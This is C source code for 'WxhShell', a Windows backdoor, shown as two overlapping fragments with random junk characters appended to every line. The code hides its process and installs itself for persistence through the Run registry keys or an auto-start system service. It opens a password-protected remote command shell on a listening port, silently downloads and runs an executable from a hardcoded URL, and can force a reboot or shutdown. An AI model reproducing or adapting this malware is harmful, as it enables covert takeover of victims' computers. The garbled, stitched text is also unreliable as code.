    if(Boot(SHUTDOWN)) DWB.dP *8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G<kslTPyq  
    else { r5b5`f4  
    closesocket(wsh); DiK@>$v  
    ExitThread(0); i|X ;n  
    } 1 l'Wb2g>A  
    break; %nJ^0X_]  
    } t[B\'f!  
  // 获取shell aU]A#g   
  case 's': { pYo]lO  
    CmdShell(wsh); $_-f}E  
    closesocket(wsh); ]8(_{@ /  
    ExitThread(0); *rO#UE2  
    break; UV%A l)3  
  } r;`6ML[5Vx  
  // 退出 ; d1\2H  
  case 'x': { D6,rb 9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4@PH5z  
    CloseIt(wsh); !>B|z=  
    break; +'abAST t  
    } ylF%6!V}4V  
  // 离开 .__X- +^  
  case 'q': { \*x]xc/^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _94|^   
    closesocket(wsh); /dpEL9K  
    WSACleanup(); YEoQIR  
    exit(1); xzg81sV7  
    break; 'c 0]8Y 4  
        } .OM m"RtK  
  } fYF\5/_  
  } z'K&LH  
MXY[t  
  // 提示信息 SwV{t}I  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'qS&7 W(  
} 3]BK*OqJ  
  } XVjs0/5b  
'~ RP+  
  return; DfP4 `  
} q.0a0 /R  
Bk&ry)`gD  
// shell模块句柄 dEU +\NY  
int CmdShell(SOCKET sock) !(PAUW S@  
{ NF <|3|  
STARTUPINFO si; 8 /1 sy.R  
ZeroMemory(&si,sizeof(si)); l5ww-#6Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Al="ss&2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x@3Ix, b'  
PROCESS_INFORMATION ProcessInfo; i-)OY,  
char cmdline[]="cmd"; z{U2K '  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \Tf845  
  return 0; smQ<lwA  
} =Jfo=`da  
tgy*!B6a~  
// 自身启动模式 |Id0+-V ?  
int StartFromService(void) !Mp.jE  
{ y@"6Dt|  
typedef struct (j;s6g0  
{ L.XGD|m  
  DWORD ExitStatus; W'x/Kg,w-  
  DWORD PebBaseAddress; 6p%;:mDB  
  DWORD AffinityMask; p`lv$ @q'  
  DWORD BasePriority; uh'{+E;=  
  ULONG UniqueProcessId; ]NS{q85  
  ULONG InheritedFromUniqueProcessId; !E<y:$eH:  
}   PROCESS_BASIC_INFORMATION; e;9Z/);#s  
}p 0 \  
PROCNTQSIP NtQueryInformationProcess; HV@ C@wmg  
Su99A.w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d 6 t#4!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?yop#tjCbY  
!, Y1FC  
  HANDLE             hProcess; /1ZRjf^  
  PROCESS_BASIC_INFORMATION pbi; cl kL)7RQ  
VWqmqR%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .}Va~[0j  
  if(NULL == hInst ) return 0; 9~i=Af@  
Jhdo#}Ub  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zi l^^wT0J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hw/ :  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]cvP !  
 }t}y  
  if (!NtQueryInformationProcess) return 0; @&(0]kZ6  
EYNi`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $'FPsoH  
  if(!hProcess) return 0; Y=+pz^/"  
-0rc4<};h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +~b@W{  
M:6Yy@#T.  
  CloseHandle(hProcess); tQ=P.14>:  
X}*\/(fzl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8UiRirw  
if(hProcess==NULL) return 0; ^ Q]I)U  
2fIHFo\8  
HMODULE hMod; /<7'[x<  
char procName[255]; ?7>G\0G  
unsigned long cbNeeded; KITC,@xE_O  
,TL8`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,.;q[s8  
zvjp]yTx"  
  CloseHandle(hProcess); *Ii_dpJ  
8i:E$7etH  
if(strstr(procName,"services")) return 1; // 以服务启动 qzD<_ynA  
%mKM9>lf#  
  return 0; // 注册表启动 *9J >3   
} o9I=zAGjy  
?:DeOBAb  
// 主模块 KQGdV{VFs  
int StartWxhshell(LPSTR lpCmdLine) BZHba8c(  
{ yOHVL~F  
  SOCKET wsl; LbCcOkL/@@  
BOOL val=TRUE; aX CVC<l  
  int port=0; u7  s-  
  struct sockaddr_in door; />^sGB  
GHeucG} ?  
  if(wscfg.ws_autoins) Install(); Sep/N"7~t  
d)hA'k  
port=atoi(lpCmdLine); BMaw]D  
Eod'Esye5  
if(port<=0) port=wscfg.ws_port; *Ae> ,LyE  
)LOV)z|}  
  WSADATA data; ')eg6IC0&T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  S9\_ODv  
:(7icHa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (%p@G5GU  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f_\,H|zco)  
  door.sin_family = AF_INET; yhTC?sf<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t5t!-w\M$+  
  door.sin_port = htons(port); FFC"rG  
~)ut"4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VINb9W}G[  
closesocket(wsl); 8NP|>uaj  
return 1; |.]sL0; 4Z  
} 3i\<#{  
mO#62e4C  
  if(listen(wsl,2) == INVALID_SOCKET) { ,%Go.3i[  
closesocket(wsl); _=Y?' gHH  
return 1; mf4C68DI@u  
} H5MO3DJ  
  Wxhshell(wsl); 2iX57-6Ub  
  WSACleanup(); 6l Suzu  
Rda~Drz  
return 0; pAdx 6  
Twq/Y07M  
} -!Ov{GHr0  
y6#AL<W@=  
// 以NT服务方式启动 Mg pjC`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $c^,TAN  
{ Cpg>5N~;L  
DWORD   status = 0; `2 6t+Tb  
  DWORD   specificError = 0xfffffff; Uw!N;QsC  
rJz`v/:|P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >]dH1@@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P:8 qm DXo  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v?6g. [;?  
  serviceStatus.dwWin32ExitCode     = 0;  =&8Cg  
  serviceStatus.dwServiceSpecificExitCode = 0; )#%v1rR  
  serviceStatus.dwCheckPoint       = 0;  yxx9h3  
  serviceStatus.dwWaitHint       = 0; |[+/ ]Y  
NC @L,)F  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~7;AV(\%e  
  if (hServiceStatusHandle==0) return; [N=v=J9  
8?l/x  
status = GetLastError(); yq6Gyoi<  
  if (status!=NO_ERROR) 0(o{V:l%Z|  
{ ] Hiw+5n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ja2BK\"1:  
    serviceStatus.dwCheckPoint       = 0; Q0j4 c  
    serviceStatus.dwWaitHint       = 0; Crg@05Z  
    serviceStatus.dwWin32ExitCode     = status; 1#Q~aY  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4QZ|e{t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pB;8yz=  
    return; woyn6Z1JQ  
  } ORDVyb_x  
*xV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9YQYg@+R  
  serviceStatus.dwCheckPoint       = 0; x?6 \C-i  
  serviceStatus.dwWaitHint       = 0; ][?@) )  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d,XNok{  
} k=&UV!J  
K| w\KX0  
// 处理NT服务事件,比如:启动、停止 07 E9[U[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;${_eab ]  
{ pP|LSr Y!  
switch(fdwControl) A6S|pO1)3  
{ L]e@. /C$  
case SERVICE_CONTROL_STOP: \2#j1/d4  
  serviceStatus.dwWin32ExitCode = 0; l>D!@`><I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; qGkD] L  
  serviceStatus.dwCheckPoint   = 0; U32&"&";c  
  serviceStatus.dwWaitHint     = 0; wSPwa,)7s  
  { Of gmJ(%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B;Dl2k^L  
  } Rm&4Pku  
  return; 38zG[c|X  
case SERVICE_CONTROL_PAUSE: /w/um>>K.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GNX`~%3KYc  
  break; Ox%.We 5  
case SERVICE_CONTROL_CONTINUE: YZ(tjIgQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8#h~J>u.  
  break; ^3O`8o  
case SERVICE_CONTROL_INTERROGATE: 2t}^8  
  break; fN_Ilg)t?5  
}; ., =\/ C<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =IEei{  
}  %G>  
LXq0hI  
// 标准应用程序主函数 S4C4_*~Vd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) njGZ#{"eC  
{ 6}JW- sA  
8S#TOeQ  
// 获取操作系统版本 S%IhpTSe6  
OsIsNt=GetOsVer(); DP6>fzsl  
GetModuleFileName(NULL,ExeFile,MAX_PATH); s$ZKd  
shuoEeoo  
  // 从命令行安装 r"$~Gg.%(  
  if(strpbrk(lpCmdLine,"iI")) Install(); hOM#j  
VK[`e[.C  
  // 下载执行文件 ,cFBLj(@  
if(wscfg.ws_downexe) { Xf%wW[~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zL=PxFw0  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,/Al'  
} 7*C>4Gs  
W%P$$x5&  
if(!OsIsNt) { N?l  
// 如果时win9x,隐藏进程并且设置为注册表启动 r 3FUddF'  
HideProc(); B#, TdP]/  
StartWxhshell(lpCmdLine); ['_W <  
}  CT[CM+  
else JWV n@)s  
  if(StartFromService()) |'!9mvt=  
  // 以服务方式启动 /7&WFCc)(  
  StartServiceCtrlDispatcher(DispatchTable); {1L{   
else u,`cmyZ  
  // 普通方式启动 >p>B-m  
  StartWxhshell(lpCmdLine); ~ yu\vqN  
JLh{>_Rr  
return 0; Ocf:73t  
} V*%Lc9<d  
r68d\N`.  
cIQ e^C  
3Bbd2[<W  
=========================================== 4;)aGN{e  
Psw<9[  
LPS]TG\  
2|JtRE+  
OR<%h/ \f  
8fC 5O  
" D[Kq`  
0}wmBSl  
#include <stdio.h> +?ilTU  
#include <string.h> qK,PuD7i"  
#include <windows.h> !CUX13/0  
#include <winsock2.h> h"4i/L3aAh  
#include <winsvc.h> ij&T \):d  
#include <urlmon.h> 2yPF'Q7u_.  
@2/ xu  
#pragma comment (lib, "Ws2_32.lib") n}3fItSJ  
#pragma comment (lib, "urlmon.lib") y1t,i. [  
bq"dKN`  
#define MAX_USER   100 // 最大客户端连接数 >slGicZ0  
#define BUF_SOCK   200 // sock buffer 5uO.@0  
#define KEY_BUFF   255 // 输入 buffer ]}d.h!`<)  
iu'At7  
#define REBOOT     0   // 重启 >"<<hjKJ  
#define SHUTDOWN   1   // 关机 8?G534*r@2  
dH~i  
#define DEF_PORT   5000 // 监听端口 [w?v !8l  
uU!}/mbo  
#define REG_LEN     16   // 注册表键长度 "#=WD  
#define SVC_LEN     80   // NT服务名长度 IaYaIEL-  
g n 6@x  
// 从dll定义API cjc1iciZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >{ .|Ng4K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Fh~ pB>t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); AR6hfdDDT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); J9q[u[QZ9O  
{ v#wU  
// wxhshell配置信息 p{w:^l(  
struct WSCFG { 0'O6-1Li  
  int ws_port;         // 监听端口 r(p@{L185  
  char ws_passstr[REG_LEN]; // 口令 I0v4TjHH  
  int ws_autoins;       // 安装标记, 1=yes 0=no UY/qI%#L#,  
  char ws_regname[REG_LEN]; // 注册表键名 _&K>fy3t&  
  char ws_svcname[REG_LEN]; // 服务名 2i~zAD'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [=& tN)_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r@ v&~pL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4C`p`AQqpQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no UU  DZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1aS66TS3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Vy@0Got5=  
"q3W& @  
}; 3GM9ZPeN:  
#s0Wx47~  
// default Wxhshell configuration cOb ,Md  
struct WSCFG wscfg={DEF_PORT, 6'ia^om  
    "xuhuanlingzhe", Ae^ Idz  
    1, P"<,@Mn  
    "Wxhshell", Ag_I'   
    "Wxhshell", (T1d!v"~"  
            "WxhShell Service", z99jW<*0  
    "Wrsky Windows CmdShell Service", I@l }%L  
    "Please Input Your Password: ", N5Ih+8zT  
  1, (laVmU?I7  
  "http://www.wrsky.com/wxhshell.exe", 3AcCa>  
  "Wxhshell.exe" 6+W`:0je  
    }; c|(&6(r  
{7+y56[yu  
// 消息定义模块 +~'ap'k m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; o`~ %}3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }<mK79m  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LNI]IITx/  
char *msg_ws_ext="\n\rExit."; 5sguv^;C5  
char *msg_ws_end="\n\rQuit."; ^u$?& #  
char *msg_ws_boot="\n\rReboot..."; 1wt(pkNk  
char *msg_ws_poff="\n\rShutdown..."; >f-*D25f%  
char *msg_ws_down="\n\rSave to "; qTrb)95  
1Gh3o}z  
char *msg_ws_err="\n\rErr!"; f/tJ>^N5  
char *msg_ws_ok="\n\rOK!"; 1 2J#}|  
"cx#6Bo|  
char ExeFile[MAX_PATH];  :qrCqFl  
int nUser = 0; r"x/,!_E  
HANDLE handles[MAX_USER]; VTs ,Ln!,U  
int OsIsNt; UCI !>G  
\@F!h8e4  
SERVICE_STATUS       serviceStatus; 9q>rUoK^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @%4tWE  
i3U_G^8  
// 函数声明 Ztj~Q9mu  
int Install(void); Z=[?T f  
int Uninstall(void); !R3ZyZcX  
int DownloadFile(char *sURL, SOCKET wsh); Y!fgc<]'&  
int Boot(int flag); xL} ~R7  
void HideProc(void); A&7~] BR\  
int GetOsVer(void); +hz S'z)n&  
int Wxhshell(SOCKET wsl); z-`-0@/A$  
void TalkWithClient(void *cs); GCv*a[8?n  
int CmdShell(SOCKET sock); EbMG9  
int StartFromService(void); T Y*uK  
int StartWxhshell(LPSTR lpCmdLine); ,Ep41v;T%`  
LRKl3"M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CINC1Ll_24  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y4`uU1=  
)~=g}&  
// 数据结构和表定义 l@<yC-Xd  
SERVICE_TABLE_ENTRY DispatchTable[] = +WB';D  
{ Y^9b>H\2  
{wscfg.ws_svcname, NTServiceMain}, \Zmn!Gg  
{NULL, NULL} }e4#Mx  
}; DY?;Z98P?  
]}s'`44J9e  
// 自我安装 4A\>O?\  
int Install(void) FiW>kTM8  
{ ))eQZ3ap9  
  char svExeFile[MAX_PATH]; P"ATqQG%D  
  HKEY key; l_0/g^(  
  strcpy(svExeFile,ExeFile); _p,1m[&M  
Oj0,Urs7  
// 如果是win9x系统,修改注册表设为自启动 {5J: ]{p  
if(!OsIsNt) { y5$AAas  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {   ]n (:X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $}z%}v  
  RegCloseKey(key); pPnJf{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1^^9'/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bZd)4  
  RegCloseKey(key); :%kJ9zW  
  return 0; @&}~r  
    } I>(-&YbC  
  } {>8u/  
} ,<,#zG[.  
else { vu=`s|R  
Lzy Ix!S  
// 如果是NT以上系统,安装为系统服务 r E<Ou"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ub| -Q  
if (schSCManager!=0) :9f/d;Mo3  
{ L6IF0`M<,I  
  SC_HANDLE schService = CreateService eO?@K$I  
  ( - A)XYz  
  schSCManager, " UxKG+   
  wscfg.ws_svcname, x>*#cOVz;C  
  wscfg.ws_svcdisp, BY!M(X jrZ  
  SERVICE_ALL_ACCESS, M?m)<vMr*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .C?rToCY  
  SERVICE_AUTO_START, c/ s$*"  
  SERVICE_ERROR_NORMAL, ^yp`<=  
  svExeFile, i)mQ?Y#o  
  NULL, \*.u (8~2o  
  NULL, bZ_vb? n  
  NULL, 5dem~YY5  
  NULL, d;WXlE;  
  NULL ZZ@1l  
  ); L"ob ))GF  
  if (schService!=0) ,V{Cy`bi  
  { 8CN~o|uN  
  CloseServiceHandle(schService); #Ss lH  
  CloseServiceHandle(schSCManager); *h Z{>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R@Bnrk  
  strcat(svExeFile,wscfg.ws_svcname); MaQ`7U5 |e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v''F\V )  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5"o)^8!>  
  RegCloseKey(key); uszH1@g'  
  return 0; G'0]m-)dw  
    } U?sio%`(  
  } JtGBNz!"  
  CloseServiceHandle(schSCManager); z4iZE*ZS  
} RY9h^q*  
} FNB4YZ6  
VT~jgsY  
return 1; ~L ufHbr  
} =BNS3W6  
[7*$Sd  
// 自我卸载 4E~!$Ustx  
int Uninstall(void) +tSfx  
{ 1 wB2:o<  
  HKEY key; HA W57N  
Md(h-wYr  
if(!OsIsNt) { y`Km96 Ui  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { YKWts y  
  RegDeleteValue(key,wscfg.ws_regname); <QZ X""  
  RegCloseKey(key); PS3%V_2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |\iJ6m;a  
  RegDeleteValue(key,wscfg.ws_regname); 3,4m|Z2)  
  RegCloseKey(key); fx `oe  
  return 0; B jsF5~+\  
  } ?PSVVU q,Z  
} jZLD^@AP  
} 1Z| {3W  
else { ! :XMP*g  
6<N Q/*(/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nW7Ew<`Q  
if (schSCManager!=0) /+{]?y,  
{ dxAP7v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .Bb86Y=3  
  if (schService!=0) _hbTxyj  
  { qsTB)RdjP%  
  if(DeleteService(schService)!=0) { b i 8Qbo4  
  CloseServiceHandle(schService); }6#u}^gy  
  CloseServiceHandle(schSCManager); JC}oc M j0  
  return 0; Y9_OkcW)  
  } ji :E  
  CloseServiceHandle(schService); wS%aN@ay3  
  } $`O%bsjX  
  CloseServiceHandle(schSCManager); >y7|@'V[v0  
} DS]C`aM9  
} "FfIq;  
U{%N.4:   
return 1; )Fw{|7@N  
} xKW`m  
[>y0Xf9^  
// 从指定url下载文件 4~YPLu  
int DownloadFile(char *sURL, SOCKET wsh) Se>"=[=  
{ N@>o:(08  
  HRESULT hr; w,qYT -R  
char seps[]= "/"; k6mC_  
char *token; g Xi& S  
char *file; ^KO=8m( )J  
char myURL[MAX_PATH]; Q@"mL  
char myFILE[MAX_PATH]; 0X'2d  
;\[ el<Y)s  
strcpy(myURL,sURL); Ja(>!8H>@  
  token=strtok(myURL,seps);  XBF]|}%  
  while(token!=NULL) z0Bw+&^]}  
  { ZlxJY%o eu  
    file=token; s1| +LT ,D  
  token=strtok(NULL,seps); r"uOf;m  
  } X5`#da  
9u&q{I  
GetCurrentDirectory(MAX_PATH,myFILE); <!qv$3/7  
strcat(myFILE, "\\"); 4_'($FC1  
strcat(myFILE, file); 2&Hn%q)  
  send(wsh,myFILE,strlen(myFILE),0); +o7Np| Ou  
send(wsh,"...",3,0); 7UzbS,$x  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @cz\'v6E  
  if(hr==S_OK) a$K.Or}  
return 0; = ^OXP+o  
else j9XRC9   
return 1; f#3U,n8:  
aHzS>  
} R]y[n;aGC  
EX.`6,:+2  
// 系统电源模块 6x$1En  
int Boot(int flag) }q~M$  
{ =|_{J"sv  
  HANDLE hToken; *#n?6KqZ  
  TOKEN_PRIVILEGES tkp; 4gRt^T-?  
RO10$1IW.2  
  if(OsIsNt) { u_~*)w+mS@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); },@1i<Bb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5C^oqUZ  
    tkp.PrivilegeCount = 1; zld[uhc>  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l0%qj(4`6&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N-g=_86C"  
if(flag==REBOOT) { [LHx9(,NM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A^9RGz4=  
  return 0; .2V`sg.!  
} !qjIhZi  
else { M],}.l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >,V~-Tp  
  return 0; K4V\Jj1l  
} f 4Yn=D=_  
  } Q#} 0pq  
  else { 1dgy-$H~  
if(flag==REBOOT) { 6zfi\(fop  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )`sEdVxbr  
  return 0; L9G xqw  
} 4Sq[I  
else { & 1:_+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4)i(`/U  
  return 0; >%o\Ue  
} e t$VR:  
} 9ne13 qVm+  
/I>o6CI  
return 1; v[O}~E7'  
} {d%% nK~  
*b@YoQe3!  
// win9x进程隐藏模块 ?^< E#2a  
void HideProc(void) c[I4'x  
{ FYs-vW{  
\UF/_'=K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }eO{+{D +  
  if ( hKernel != NULL ) Z"T#"FDIr  
  { yG`J3++ S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); P!apAr  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); wePhH*nQ>  
    FreeLibrary(hKernel); *h `P+_Q7  
  } 88GS Bg:YH  
^"?fZSC  
return; =y$|2(6  
} :'pLuN  
#9a\Ab  
// 获取操作系统版本 D[NJ{E.{  
int GetOsVer(void) 1@}`dc  
{ a->;K+  
  OSVERSIONINFO winfo; v%=@_`Ht  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0^L>J "o  
  GetVersionEx(&winfo); :U}.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TBGN',,  
  return 1; _=wu>h&7  
  else B`)gXqBt  
  return 0; I)B+h8l72<  
} K>tubLYh  
"\x<Zg;  
// 客户端句柄模块 srh>" 2."  
int Wxhshell(SOCKET wsl) nI_43rG:Uf  
{ sr=~U q{g  
  SOCKET wsh; M$9?{8m  
  struct sockaddr_in client; m~#f L  
  DWORD myID; (2oP=9m  
+p%!G1Yz  
  while(nUser<MAX_USER) ;_HG 5}i  
{ J*nQ(*e  
  int nSize=sizeof(client); ;!ICLkc$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); " aEk#W  
  if(wsh==INVALID_SOCKET) return 1; G=.vo3  
/s'7[bSv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ) H'SU_YU  
if(handles[nUser]==0) $E j;CN59  
  closesocket(wsh); $mV1K)ege  
else 907N;r  
  nUser++; VDyQv^=#  
  } k`5jy~;  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); NM`5hd{  
:oYz=c  
  return 0; -/y]'_a  
} v `a:Lj  
X#|B*t34  
// 关闭 socket 8R) 0|v&;  
void CloseIt(SOCKET wsh) j>{Dbl:#2  
{ R7q\^Yzo  
closesocket(wsh); hLqRF4>L  
nUser--; co93}A,k  
ExitThread(0); &tAhRMa  
} <K(qv^C  
t+ ,'  
// 客户端请求句柄 *v' d1.Z  
void TalkWithClient(void *cs) @Nm;lZK  
{ kXfTNMb  
Q1A_hW2x  
  SOCKET wsh=(SOCKET)cs; 6cF~8  
  char pwd[SVC_LEN]; E=H>|FgS  
  char cmd[KEY_BUFF]; uX!5G:x]  
char chr[1]; 5Hli@:B2s  
int i,j; J@Qt(rRxi  
SWX[|sjdB  
  while (nUser < MAX_USER) { l8XgzaW  
va>u1S<lO  
if(wscfg.ws_passstr) { 6/%dD DU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [eWZ^Eh"I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q|DVB  
  //ZeroMemory(pwd,KEY_BUFF); e={X{5z0  
      i=0; xzZ2?z Wi  
  while(i<SVC_LEN) { T uk:: .jD  
bvxol\7;  
  // 设置超时 @d+NeS  
  fd_set FdRead; ,EE,W0/zzM  
  struct timeval TimeOut; YR 5C`o  
  FD_ZERO(&FdRead); Ke*tLnO  
  FD_SET(wsh,&FdRead); 6D=9J%;  
  TimeOut.tv_sec=8; u%o]r9xl'  
  TimeOut.tv_usec=0; d;4LHQ0yU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tRl01&0S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <r@w`G  
Qb.Ve7c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *&=sL  
  pwd=chr[0]; u . xUM  
  if(chr[0]==0xd || chr[0]==0xa) { sbju3nvk  
  pwd=0; W<QMUu  
  break; q)m0n237P  
  } RjcU0$Hi  
  i++; /:+f5\"-b  
    } fLtN-w6t  
vj_[LFE  
  // 如果是非法用户,关闭 socket Z7="on4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \Nvu[P  
} }MCh$  
D(' w<9.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i40'U?eG~6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )w t mc4'  
R7nT,7k.  
while(1) {  1?oX"  
dbE]&w`?d  
  ZeroMemory(cmd,KEY_BUFF); } xy>uT  
?ZqvR^  
      // 自动支持客户端 telnet标准   P[G.LO  
  j=0; (uxe<'Co|  
  while(j<KEY_BUFF) { $ouw *|<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |= o)|z2  
  cmd[j]=chr[0]; L&I8lG  
  if(chr[0]==0xa || chr[0]==0xd) { BidTrO  
  cmd[j]=0; wm'a)B?  
  break; t1Zcr#b>  
  } ~YH'&L.O  
  j++; yMd<<:Ap  
    } o#^(mGj_.  
Bh#?:h&f  
  // 下载文件 KkIgyLM  
  if(strstr(cmd,"http://")) { 6XFLWN-)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bp7`W:?# "  
  if(DownloadFile(cmd,wsh)) YV{^2)^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ue=Je~Ri;9  
  else +=V[7^K;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vGX}zzto  
  } '1 }ybSG  
  else { xsO "H8  
>,9ah"K_x  
    switch(cmd[0]) { wDvG5  
  pz hPEp;  
